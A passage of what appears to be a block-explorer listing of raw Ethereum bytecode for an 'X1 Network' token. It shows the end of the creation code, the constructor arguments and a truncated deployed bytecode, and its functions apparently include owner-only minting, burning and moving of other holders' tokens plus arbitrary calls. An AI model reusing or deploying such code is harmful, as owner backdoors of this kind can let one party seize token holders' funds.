921660048301529063f637731d906024015f604051808303815f87803b15801562000357575f80fd5b505af11580156200036a573d5f803e3d5ffd5b50505060208301516001600160a01b0390811660c0526040840151600580549190921661010002610100600160a81b03199091161790555060a051620003b2905f1962000425565b505050505050505050620009a5565b6040516343e3581760e11b81526001600160a01b038381166004830152602482018390528416906387c6b02e906044015f604051808303815f87803b15801562000409575f80fd5b505af11580156200041c573d5f803e3d5ffd5b50505050505050565b6080516200043e906001600160a01b03168383620003c1565b5050565b634e487b7160e01b5f52604160045260245ffd5b604051606081016001600160401b03811182821017156200047b576200047b62000442565b60405290565b60405160a081016001600160401b03811182821017156200047b576200047b62000442565b604080519081016001600160401b03811182821017156200047b576200047b62000442565b604051601f8201601f191681016001600160401b0381118282101715620004f657620004f662000442565b604052919050565b5f82601f8301126200050e575f80fd5b81516001600160401b038111156200052a576200052a62000442565b602062000540601f8301601f19168201620004cb565b828152858284870101111562000554575f80fd5b5f5b838110156200057357858101830151828201840152820162000556565b505f928101909101919091529392505050565b6001600160a01b03811681146200059b575f80fd5b50565b5f805f8084860360c0811215620005b3575f80fd5b85516001600160401b0380821115620005ca575f80fd5b620005d889838a01620004fe565b96506020880151915080821115620005ee575f80fd5b50620005fd88828901620004fe565b9450506040860151620006108162000586565b92506060605f198201121562000624575f80fd5b506200062f62000456565b60608601516200063f8162000586565b81526080860151620006518162000586565b602082015260a0860151620006668162000586565b6040820152939692955090935050565b600181811c908216806200068b57607f821691505b602082108103620006aa57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620006fd575f81815260208120601f850160051c81016020861015620006d85750805b601f850160051c820191505b81811015620006f957828155600101620006e4565b5050505b505050565b81516001600160401b038111156200071e576200071e62000442565b62000736816200072f845462000676565b84620006b0565b602080601f8311600181146200076c575f8415620007545750858301515b5f19600386901b1c1916600185901b178555620006f9565b5f85815260208120601f198616915b828110156200079c578886015182559484019460019091019084016200077b565b5085821015620007ba57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f60208284031215620007db575f80fd5b5051919050565b5f6020808385031215620007f4575f80fd5b82516001600160401b03808211156200080b575f80fd5b9084019060a082870312156200081f575f80fd5b6200082962000481565b8251620008368162000586565b81528284015184820152604080840151818301526060808501519083015260808401518381111562000866575f80fd5b80850194505087601f8501126200087b575f80fd5b83518381111562000890576200089062000442565b620008a0868260051b01620004cb565b818152868101945060069190911b850186019089821115620008c0575f80fd5b948601945b818610156200090f5782868b031215620008de575f8081fd5b620008e8620004a6565b8651620008f58162000586565b8152868801518882015285529482019493860193620008c5565b60808401525090979650505050505050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156200094b576200094b62000921565b92915050565b634e487b7160e01b5f52603260045260245ffd5b5f6001820162000979576200097962000921565b5060010190565b5f6020828403121562000991575f80fd5b81516200099e8162000586565b9392505050565b60805160a05160c05161295062000a945f395f81816109be01528181610a4501528181610c7f01528181610dc801528181610f6e01528181611193015281816117560152818161198b0152611ac501525f81816103b0015281816108e201528181610c5301528181610d9c01528181610ec90152818161110b0152818161123b015281816112fd01528181611623015281816116ce0152818161189e01528181611a3d0152611f1d01525f818161028a015281816105f6015281816106370152818161069b01528181610ad901528181611087015281816117ca01528181611807015261202801526129505ff3fe608060405260043610610164575f3560e01c806395d89b41116100cd578063d2de6ec511610087578063e1f21c6711610062578063e1f21c6714610450578063e7d612e31461046f578063ec152ef01461048e578063fa461e33146104ad575f80fd5b8063d2de6ec5146103f3578063d348799714610412578063dd62ed3e14610431575f80fd5b806395d89b41146103315780639dc29fac14610345578063a253421d14610364578063a9059cbb14610383578063b5fba636146103a2578063beabacc8146103d4575f80fd5b8063313ce5671161011e578063313ce5671461026157806332e79dcf1461027c57806340c10f19146102c257806370a08231146102e157806376be306c146103005780638da5cb5b14610314575f80fd5b806306fdde031461016f57806309233a7314610199578063095ea7b3146101ba57806315515da6146101e957806318160ddd1461022057806323b872dd14610242575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b506101836104cc565b6040516101909190612122565b60405180910390f35b3480156101a4575f80fd5b506101b86101b3366004612148565b61055c565b005b3480156101c5575f80fd5b506101d96101d4366004612163565b610586565b6040519015158152602001610190565b3480156101f4575f80fd5b5061020861020336600461218d565b61059d565b6040516001600160801b039091168152602001610190565b34801561022b575f80fd5b506102346105f0565b604051908152602001610190565b34801561024d575f80fd5b506101d961025c3660046121a4565b610628565b34801561026c575f80fd5b5060405160128152602001610190565b348015610287575f80fd5b507f00000000000000000000000000000000000000000000000000000000000000005b6040516001600160a01b039091168152602001610190565b3480156102cd575f80fd5b506101b86102dc366004612163565b610676565b3480156102ec575f80fd5b506102346102fb366004612148565b61068d565b34801561030b575f80fd5b506102346106c1565b34801561031f575f80fd5b506001546001600160a01b03166102aa565b34801561033c575f80fd5b506101836106d2565b348015610350575f80fd5b506101b861035f366004612163565b6106e1565b34801561036f575f80fd5b5061020861037e36600461218d565b61071c565b34801561038e575f80fd5b506101d961039d366004612163565b61075b565b3480156103ad575f80fd5b507f00000000000000000000000000000000000000000000000000000000000000006102aa565b3480156103df575f80fd5b506101b86103ee3660046121a4565b610768565b3480156103fe575f80fd5b506101b861040d3660046121e2565b6107a5565b34801561041d575f80fd5b506101b861042c366004612250565b6108d7565b34801561043c575f80fd5b5061023461044b36600461229f565b610acb565b34801561045b575f80fd5b506101b861046a3660046121a4565b610b00565b34801561047a575f80fd5b506101b86104893660046122d6565b610b13565b348015610499575f80fd5b506102346104a8366004612316565b610b83565b3480156104b8575f80fd5b506101b86104c7366004612250565b610ebe565b6060600380546104db90612336565b80601f016020809104026020016040519081016040528092919081815260200182805461050790612336565b80156105525780601f1061052957610100808354040283529160200191610552565b820191905f5260205f20905b81548152906001019060200180831161053557829003601f168201915b5050505050905090565b610564610fd8565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b5f33610593818585611018565b9150505b92915050565b5f6105a6610fd8565b43600254036105d05760405162461bcd60e51b81526004016105c79061236e565b60405180910390fd5b6105d982611107565b90506105e581336111fe565b505043600255919050565b5f6106237f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166113e1565b905090565b5f3361065f6001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016868386611442565b5061066b8585856114bd565b9150505b9392505050565b61067e610fd8565b6106888282611532565b505050565b5f6105976001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001683611579565b5f6106236106cd6115e4565b6116ca565b6060600480546104db90612336565b6106e9610fd8565b815f6106f4826117bc565b9050610701825f196117fa565b61070b8484611832565b5061071682826117fa565b50505050565b5f610725610fd8565b43600254036107465760405162461bcd60e51b81526004016105c79061236e565b61074f82611107565b90506105e58133611898565b5f336105938185856114bd565b610770610fd8565b825f61077b826117bc565b9050610788825f196117fa565b6107938585856114bd565b5061079e82826117fa565b5050505050565b6107ad610fd8565b6005546040513060601b6bffffffffffffffffffffffff19166020820152600160a81b90910460f01b6001600160f01b03191660348201525f90603601604051602081830303815290604052805190602001205f1c90505b60408051602080820184905281830187905282518083038401815260609092019092528051910120808061ffff81165f0361084857806108448161239e565b9150505b5f61ffff82811661085989896123be565b61086391906123d1565b61086d91906123fc565b610877908861240f565b90506108838382611532565b50505050508361089290612422565b9350835f036108055760058054600160a81b900461ffff169060156108b68361239e565b91906101000a81548161ffff021916908361ffff1602179055505050505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146109345760405162461bcd60e51b8152602060048201526002602482015261554360f01b60448201526064016105c7565b335f80610941878761197f565b90925090508115610973576005805460ff191660011790556109638383611532565b5060055460ff1615610973575f80fd5b8015610ac2575f61098685870187612148565b9050306001600160a01b03821603610a2e5760405163a9059cbb60e01b81526001600160a01b038581166004830152602482018490527f0000000000000000000000000000000000000000000000000000000000000000169063a9059cbb906044016020604051808303815f875af1158015610a04573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a28919061244b565b50610ac0565b6040516323b872dd60e01b81526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016906323b872dd90610a7e90849088908790600401612464565b6020604051808303815f875af1158015610a9a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610abe919061244b565b505b505b50505050505050565b5f61066f6001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001684846119c6565b610b08610fd8565b610716838383611018565b610b1b610fd8565b5f846001600160a01b0316848484604051610b37929190612488565b5f6040518083038185875af1925050503d805f8114610b71576040519150601f19603f3d011682016040523d82523d5f602084013e610b76565b606091505b505090508061079e575f80fd5b5f610b8c610fd8565b4360025403610bad5760405162461bcd60e51b81526004016105c79061236e565b61270f198260010b138015610bc657506127108260010b125b8015610bd557508160010b5f14155b610c065760405162461bcd60e51b81526020600482015260026024820152614b4f60f01b60448201526064016105c7565b5f8260010b1315610d55575f6127108361ffff16610c226115e4565b610c2c9190612497565b610c3691906124c2565b90505f610c4382306111fe565b91505f9050806001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081169063128acb089030907f00000000000000000000000000000000000000000000000000000000000000001681118681610cc15773fff6fbe64b68d618d47c209fe40b0d8ee6e23c91610cc8565b64010009046c5b6040518563ffffffff1660e01b8152600401610ce794939291906124e7565b60408051808303815f875af1158015610d02573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d269190612520565b915091505f610d35838361197f565b509050610d4a30610d4583612542565b611832565b505050505050610ea4565b5f612710610d628461255c565b61ffff16610d6e6115e4565b610d789190612497565b610d8291906124c2565b90505f610d8e82611a39565b90505f806001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081169063128acb089030907f00000000000000000000000000000000000000000000000000000000000000001681108681610e0a5773fff6fbe64b68d618d47c209fe40b0d8ee6e23c91610e11565b64010009046c5b6040518563ffffffff1660e01b8152600401610e3094939291906124e7565b60408051808303815f875af1158015610e4b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e6f9190612520565b915091505f610e7e838361197f565b915050610e9c610e9682610e9190612542565b611107565b30611898565b505050505050505b50506005544360025561010090046001600160a01b031690565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610f1b5760405162461bcd60e51b8152602060048201526002602482015261554360f01b60448201526064016105c7565b335f80610f28878761197f565b915091505f821315610f4057610f3e8383611532565b505b5f811315610ac25760405163a9059cbb60e01b81526001600160a01b038481166004830152602482018390527f0000000000000000000000000000000000000000000000000000000000000000169063a9059cbb906044016020604051808303815f875af1158015610fb4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ac0919061244b565b5f546001600160a01b031633146110165760405162461bcd60e51b81526020600482015260026024820152614e4f60f01b60448201526064016105c7565b565b5f6001600160a01b0384166110545760405162461bcd60e51b8152602060048201526002602482015261494f60f01b60448201526064016105c7565b6001600160a01b03831661107a5760405162461bcd60e51b81526004016105c79061257b565b6110af6001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016858585611b2b565b50826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516110f591815260200190565b60405180910390a35060019392505050565b5f807f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e060405180830381865afa158015611165573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061118991906125a8565b50505050505090507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316306001600160a01b0316106111ee576111e98173fff6fbe64b68d618d47c209fe40b0d8ee6e23c9185611b5d565b61066f565b61066f64010009046c8285611bbd565b60405163a34123a760e01b8152620d89e5196004820152620d89e660248201526001600160801b03831660448201525f9081906001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063a34123a79060640160408051808303815f875af1158015611280573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112a49190612520565b50506005805460ff191660011790556040516309e3d67b60e31b81526001600160a01b038481166004830152620d89e5196024830152620d89e660448301526001600160801b036064830181905260848301525f9182917f00000000000000000000000000000000000000000000000000000000000000001690634f1eb3d89060a40160408051808303815f875af1158015611342573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113669190612651565b600554919350915060ff161561137a575f80fd5b611396826001600160801b0316826001600160801b031661197f565b9094509250836113cd5760405162461bcd60e51b8152602060048201526002602482015261139560f21b60448201526064016105c7565b6113d78585611832565b5050509250929050565b5f816001600160a01b03166309255f3f6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561141e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105979190612682565b604051634453dd1560e11b81525f906001600160a01b038616906388a7ba2a9061147490879087908790600401612464565b6020604051808303815f875af1158015611490573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114b4919061244b565b95945050505050565b5f6001600160a01b0384166114e45760405162461bcd60e51b81526004016105c79061257b565b6001600160a01b03831661151f5760405162461bcd60e51b815260206004820152600260248201526124a960f11b60448201526064016105c7565b61152a848484611bef565b949350505050565b5f6001600160a01b03831661156e5760405162461bcd60e51b815260206004820152600260248201526124a960f11b60448201526064016105c7565b61066f5f8484611bef565b60405163700c2aeb60e11b81526001600160a01b0382811660048301525f919084169063e01855d690602401602060405180830381865afa1580156115c0573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061066f9190612682565b6040516bffffffffffffffffffffffff193060601b16602082015262793b0d60e91b60348201526206c4f360e91b60378201525f906001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063514ea4bf90603a01604051602081830303815290604052805190602001206040518263ffffffff1660e01b815260040161168191815260200190565b60a060405180830381865afa15801561169c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116c09190612699565b5092949350505050565b5f807f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e060405180830381865afa158015611728573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061174c91906125a8565b50505050505090507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316306001600160a01b0316106117ac576111e98173fff6fbe64b68d618d47c209fe40b0d8ee6e23c9185611bfb565b61066f64010009046c8285611c6d565b5f6117f06001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001683611cb6565b6060015192915050565b61182e6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000168383611d57565b5050565b5f6001600160a01b0383166118595760405162461bcd60e51b81526004016105c79061257b565b5f821161188d5760405162461bcd60e51b81526020600482015260026024820152615a4160f01b60448201526064016105c7565b61066f835f84611bef565b5f805f807f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316633c8a7d8d30620d89e519620d89e68a8a6040516020016118f691906001600160a01b0391909116815260200190565b6040516020818303038152906040526040518663ffffffff1660e01b81526004016119259594939291906126ec565b60408051808303815f875af1158015611940573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119649190612520565b91509150611972828261197f565b9097909650945050505050565b5f806001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001630106119b85782846119bb565b83835b909590945092505050565b604051630d2d24bb60e31b81526001600160a01b03838116600483015282811660248301525f919085169063696925d890604401602060405180830381865afa158015611a15573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061152a9190612682565b5f807f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e060405180830381865afa158015611a97573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611abb91906125a8565b50505050505090507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316306001600160a01b031610611b0c576111e964010009046c8285611c6d565b61066f8173fff6fbe64b68d618d47c209fe40b0d8ee6e23c9185611bfb565b60405163b93be2a960e01b81525f906001600160a01b0386169063b93be2a99061147490879087908790600401612464565b5f826001600160a01b0316846001600160a01b03161115611b7c579192915b5f611b9e856001600160a01b0316856001600160a01b0316600160601b611db0565b905061066b8382611baf8888612738565b6001600160a01b0316611db0565b5f826001600160a01b0316846001600160a01b03161115611bdc579192915b61152a82600160601b611baf8787612738565b5f61152a848484611e56565b5f826001600160a01b0316846001600160a01b03161115611c1a579192915b6001600160a01b038416611c636fffffffffffffffffffffffffffffffff60601b606085901b16611c4b8787612738565b6001600160a01b0316866001600160a01b0316611db0565b61152a91906123fc565b5f826001600160a01b0316846001600160a01b03161115611c8c579192915b61152a6001600160801b038316611ca38686612738565b6001600160a01b0316600160601b611db0565b611ced6040518060a001604052805f6001600160a01b031681526020015f81526020015f81526020015f8152602001606081525090565b60405163cacdf77d60e01b81526001600160a01b03838116600483015284169063cacdf77d906024015f60405180830381865afa158015611d30573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405261066f91908101906127f0565b6040516343e3581760e11b81526001600160a01b038381166004830152602482018390528416906387c6b02e906044015f604051808303815f87803b158015611d9e575f80fd5b505af1158015610ac2573d5f803e3d5ffd5b5f80805f19858709858702925082811083820303915050805f03611de4575f8411611dd9575f80fd5b50829004905061066f565b808411611def575f80fd5b5f8486880960026001871981018816978890046003810283188082028403028082028403028082028403028082028403028082028403029081029092039091025f889003889004909101858311909403939093029303949094049190911702949350505050565b5f4360025403611e785760405162461bcd60e51b81526004016105c79061236e565b611e8184611e95565b611e8a83611e95565b61152a848484612019565b6001600160a01b0381163b1580611eb457506001600160a01b03811630145b15611ebc5750565b806001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e060405180830381865afa925050508015611f16575060408051601f3d908101601f19168201909252611f13918101906125a8565b60015b15612016577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316886001600160a01b031614611f815760405162461bcd60e51b8152602060048201526002602482015261055560f41b60448201526064016105c7565b6005546001600160a01b038881166101009092041614611fc05760058054610100600160a81b0319166101006001600160a01b038a1602179055610ac0565b60055460ff16611ff75760405162461bcd60e51b81526020600482015260026024820152614e4160f01b60448201526064016105c7565b50506005805460ff19811660ff9182165f190190911617905550505050505b50565b5f806120506001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000168686866120ad565b9050801561152a57836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161209d91815260200190565b60405180910390a3949350505050565b604051630450c94160e11b81525f906001600160a01b038616906308a192829061147490879087908790600401612464565b5f81518084525f5b81811015612103576020818501810151868301820152016120e7565b505f602082860101526020601f19601f83011685010191505092915050565b602081525f61066f60208301846120df565b6001600160a01b0381168114612016575f80fd5b5f60208284031215612158575f80fd5b813561066f81612134565b5f8060408385031215612174575f80fd5b823561217f81612134565b946020939093013593505050565b5f6020828403121561219d575f80fd5b5035919050565b5f805f606084860312156121b6575f80fd5b83356121c181612134565b925060208401356121d181612134565b929592945050506040919091013590565b5f805f606084860312156121f4575f80fd5b505081359360208301359350604090920135919050565b5f8083601f84011261221b575f80fd5b50813567ffffffffffffffff811115612232575f80fd5b602083019150836020828501011115612249575f80fd5b9250929050565b5f805f8060608587031215612263575f80fd5b8435935060208501359250604085013567ffffffffffffffff811115612287575f80fd5b6122938782880161220b565b95989497509550505050565b5f80604083850312156122b0575f80fd5b82356122bb81612134565b915060208301356122cb81612134565b809150509250929050565b5f805f80606085870312156122e9575f80fd5b84356122f481612134565b935060208501359250604085013567ffffffffffffffff811115612287575f80fd5b5f60208284031215612326575f80fd5b81358060010b811461066f575f80fd5b600181811c9082168061234a57607f821691505b60208210810361236857634e487b7160e01b5f52602260045260245ffd5b50919050565b602080825260029082015261109360f21b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b5f61ffff8083168181036123b4576123b461238a565b6001019392505050565b818103818111156105975761059761238a565b80820281158282048414176105975761059761238a565b634e487b7160e01b5f52601260045260245ffd5b5f8261240a5761240a6123e8565b500490565b808201808211156105975761059761238a565b5f816124305761243061238a565b505f190190565b80518015158114612446575f80fd5b919050565b5f6020828403121561245b575f80fd5b61066f82612437565b6001600160a01b039384168152919092166020820152604081019190915260600190565b818382375f9101908152919050565b6001600160801b038181168382160280821691908281146124ba576124ba61238a565b505092915050565b5f6001600160801b03808416806124db576124db6123e8565b92169190910492915050565b6001600160a01b03948516815292151560208401526040830191909152909116606082015260a0608082018190525f9082015260c00190565b5f8060408385031215612531575f80fd5b505080516020909101519092909150565b5f600160ff1b82016125565761255661238a565b505f0390565b5f8160010b617fff1981036125735761257361238a565b5f0392915050565b602080825260029082015261495360f01b604082015260600190565b805161ffff81168114612446575f80fd5b5f805f805f805f60e0888a0312156125be575f80fd5b87516125c981612134565b8097505060208801518060020b81146125e0575f80fd5b95506125ee60408901612597565b94506125fc60608901612597565b935061260a60808901612597565b925060a088015160ff8116811461261f575f80fd5b915061262d60c08901612437565b905092959891949750929550565b80516001600160801b0381168114612446575f80fd5b5f8060408385031215612662575f80fd5b61266b8361263b565b91506126796020840161263b565b90509250929050565b5f60208284031215612692575f80fd5b5051919050565b5f805f805f60a086880312156126ad575f80fd5b6126b68661263b565b945060208601519350604086015192506126d26060870161263b565b91506126e06080870161263b565b90509295509295909350565b60018060a01b03861681528460020b60208201528360020b60408201526001600160801b038316606082015260a060808201525f61272d60a08301846120df565b979650505050505050565b6001600160a01b038281168282160390808211156127585761275861238a565b5092915050565b634e487b7160e01b5f52604160045260245ffd5b60405160a0810167ffffffffffffffff811182821017156127965761279661275f565b60405290565b6040805190810167ffffffffffffffff811182821017156127965761279661275f565b604051601f8201601f1916810167ffffffffffffffff811182821017156127e8576127e861275f565b604052919050565b5f6020808385031215612801575f80fd5b825167ffffffffffffffff80821115612818575f80fd5b9084019060a0828703121561282b575f80fd5b612833612773565b825161283e81612134565b81528284015184820152604080840151818301526060808501519083015260808401518381111561286d575f80fd5b80850194505087601f850112612881575f80fd5b8351838111156128935761289361275f565b6128a1868260051b016127bf565b818152868101945060069190911b8501860190898211156128c0575f80fd5b948601945b818610156129085782868b0312156128dc575f8081fd5b6128e461279c565b86516128ef81612134565b81528688015188820152855294820194938601936128c5565b6080840152509097965050505050505056fea2646970667358221220249b2d22a96ace2eed02dbb4be01b31be122e054171f5925bdca9472c65206c864736f6c6343000814003300000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000100000000000000000000000000730a6428b3c081985a9c30fa26a9df9b836018f50000000000000000000000001f98431c8ad98523631ae4a59f267346ea31f984000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000000000000000000000273cef2366dfce4d7877b9000000000000000000000000000000000000000000000000000000000000000a5831204e6574776f726b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000025831000000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405260043610610164575f3560e01c806395d89b41116100cd578063d2de6ec511610087578063e1f21c6711610062578063e1f21c6714610450578063e7d612e31461046f578063ec152ef01461048e578063fa461e33146104ad575f80fd5b8063d2de6ec5146103f3578063d348799714610412578063dd62ed3e14610431575f80fd5b806395d89b41146103315780639dc29fac14610345578063a253421d14610364578063a9059cbb14610383578063b5fba636146103a2578063beabacc8146103d4575f80fd5b8063313ce5671161011e578063313ce5671461026157806332e79dcf1461027c57806340c10f19146102c257806370a08231146102e157806376be306c146103005780638da5cb5b14610314575f80fd5b806306fdde031461016f57806309233a7314610199578063095ea7b3146101ba57806315515da6146101e957806318160ddd1461022057806323b872dd14610242575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b506101836104cc565b6040516101909190612122565b60405180910390f35b3480156101a4575f80fd5b506101b86101b3366004612148565b61055c565b005b3480156101c5575f80fd5b506101d96101d4366004612163565b610586565b6040519015158152602001610190565b3480156101f4575f80fd5b5061020861020336600461218d565b61059d565b6040516001600160801b039091168152602001610190565b34801561022b575f80fd5b506102346105f0565b604051908152602001610190565b34801561024d575f80fd5b506101d961025c3660046121a4565b610628565b34801561026c575f80fd5b5060405160128152602001610190565b348015610287575f80fd5b507f000000000000000000000000730a6428b3c081985a9c30fa26a9df9b836018f55b6040516001600160a01b039091168152602001610190565b3480156102cd575f80fd5b506101b86102dc366004612163565b610676565b3480156102ec575f80fd5b506102346102fb366004612148565b61068d565b34801561030b575f80fd5b506102346106c1565b34801561031f575f80fd5b506001546001600160a01b03166102aa565b34801561033c575f80fd5b506101836106d2565b348015610350575f80fd5b506101b861035f366004612163565b6106e1565b34801561036f575f80fd5b5061020861037e36600461218d565b61071c565b34801561038e575f80fd5b506101d961039d366004612163565b61075b565b3480156103ad575f80fd5b507f000000000000000000000000bc1c72ecf9b846f6b4372a71829e48efcdc6c2826102aa565b3480156103df575f80fd5b506101b86103ee3660046121a4565b610768565b3480156103fe575f80fd5b506101b861040d3660046121e2565b6107a5565b34801561041d575f80fd5b506101b861042c366004612250565b6108d7565b34801561043c575f80fd5b5061023461044b36600461229f565b610acb565b34801561045b575f80fd5b506101b861046a3660046121a4565b610b00565b34801561047a575f80fd5b506101b86104893660046122d6565b610b13565b348015610499575f80fd5b506102346104a8366004612316565b610b83565b3480156104b8575f80fd5b506101b86104c7366004612250565b610ebe565b6060600380546104db90612336565b80601f016020809104026020016040519081016040528092919081815260200182805461050790612336565b80156105525780601f1061052957610100808354040283529160200191610552565b820191905f5260205f20905b81548152906001019060200180831161053557829003601f168201915b5050505050905090565b610564610fd8565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b5f33610593818585611018565b9150505b92915050565b5f6105a6610fd8565b43600254036105d05760405162461bcd60e51b81526004016105c79061236e565b60405180910390fd5b6105d982611107565b90506105e581336111fe565b505043600255919050565b5f6106237f000000000000000000000000730a6428b3c081985a9c30fa26a9df9b836018f56001600160a01b03166113e1565b905090565b5f3361065f6001600160a01b037f000000000000000000000000730a6428b3c081985a9c30fa26a9df9b836018f516868386611442565b5061066b8585856114bd565b9150505b9392505050565b61067e610fd8565b6106888282611532565b505050565b5f6105976001600160a01b037f000000000000000000000000730a6428b3c081985a9c30fa26a9df9b836018f51683611579565b5f6106236106cd6115e4565b6116ca565b6060600480546104db90612336565b6106e9610fd8565b815f6106f4826117bc565b9050610701825f196117fa565b61070b8484611832565b5061071682826117fa565b50505050565b5f610725610fd8565b43600254036107465760405162461bcd60e51b81526004016105c79061236e565b61074f82611107565b90506105e58133611898565b5f336105938185856114bd565b610770610fd8565b825f61077b826117bc565b9050610788825f196117fa565b6107938585856114bd565b5061079e82826117fa565b5050505050565b6107ad610fd8565b6005546040513060601b6bffffffffffffffffffffffff19166020820152600160a81b90910460f01b6001600160f01b03191660348201525f90603601604051602081830303815290604052805190602001205f1c90505b60408051602080820184905281830187905282518083038401815260609092019092528051910120808061ffff81165f0361084857806108448161239e565b9150505b5f61ffff82811661085989896123be565b61086391906123d1565b61086d91906123fc565b610877908861240f565b90506108838382611532565b50505050508361089290612422565b9350835f036108055760058054600160a81b900461ffff169060156108b68361239e565b91906101000a81548161ffff021916908361ffff1602179055505050505050565b336001600160a01b037f000000000000000000000000bc1c72ecf9b846f6b4372a71829e48efcdc6c28216146109345760405162461bcd60e51b8152602060048201526002602482015261554360f01b60448201526064016105c7565b335f80610941878761197f565b90925090508115610973576005805460ff191660011790556109638383611532565b5060055460ff1615610973575f80fd5b8015610ac2575f61098685870187612148565b9050306001600160a01b03821603610a2e5760405163a9059cbb60e01b81526001600160a01b038581166004830152602482018490527f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2169063a9059cbb906044016020604051808303815f875af1158015610a04573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a28919061244b565b50610ac0565b6040516323b872dd60e01b81526001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc216906323b872dd90610a7e90849088908790600401612464565b6020604051808303815f875af1158015610a9a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610abe919061244b565b505b505b50505050505050565b5f61066f6001600160a01b037f000000000000000000000000730a6428b3c081985a9c30fa26a9df9b836018f51684846119c6565b610b08610fd8565b610716838383611018565b610b1b610fd8565b5f846001600160a01b0316848484604051610b37929190612488565b5f6040518083038185875af1925050503d805f8114610b71576040519150601f19603f3d011682016040523d82523d5f602084013e610b76565b606091505b505090508061079e575f80fd5b5f610b8c610fd8565b4360025403610bad5760405162461bcd60e51b81526004016105c79061236e565b61270f198260010b138015610bc657506127108260010b125b8015610bd557508160010b5f14155b610c065760405162461bcd60e51b81526020600482015260026024820152614b4f60f01b60448201526064016105c7565b5f8260010b1315610d55575f6127108361ffff16610c226115e4565b610c2c9190612497565b610c3691906124c2565b90505f610c4382306111fe565b91505f9050806001600160a01b037f000000000000000000000000bc1c72ecf9b846f6b4372a71829e48efcdc6c28281169063128acb089030907f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21681118681610cc15773fff6fbe64b68d618d47c209fe40b0d8ee6e23c91610cc8565b64010009046c5b6040518563ffffffff1660e01b8152600401610ce794939291906124e7565b60408051808303815f875af1158015610d02573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d269190612520565b915091505f610d35838361197f565b509050610d4a30610d4583612542565b611832565b505050505050610ea4565b5f612710610d628461255c565b61ffff16610d6e6115e4565b610d789190612497565b610d8291906124c2565b90505f610d8e82611a39565b90505f806001600160a01b037f000000000000000000000000bc1c72ecf9b846f6b4372a71829e48efcdc6c28281169063128acb089030907f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21681108681610e0a5773fff6fbe64b68d618d47c209fe40b0d8ee6e23c91610e11565b64010009046c5b6040518563ffffffff1660e01b8152600401610e3094939291906124e7565b60408051808303815f875af1158015610e4b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e6f9190612520565b915091505f610e7e838361197f565b915050610e9c610e9682610e9190612542565b611107565b30611898565b505050505050505b50506005544360025561010090046001600160a01b031690565b336001600160a01b037f000000000000000000000000bc1c72ecf9b846f6b4372a71829e48efcdc6c2821614610f1b5760405162461bcd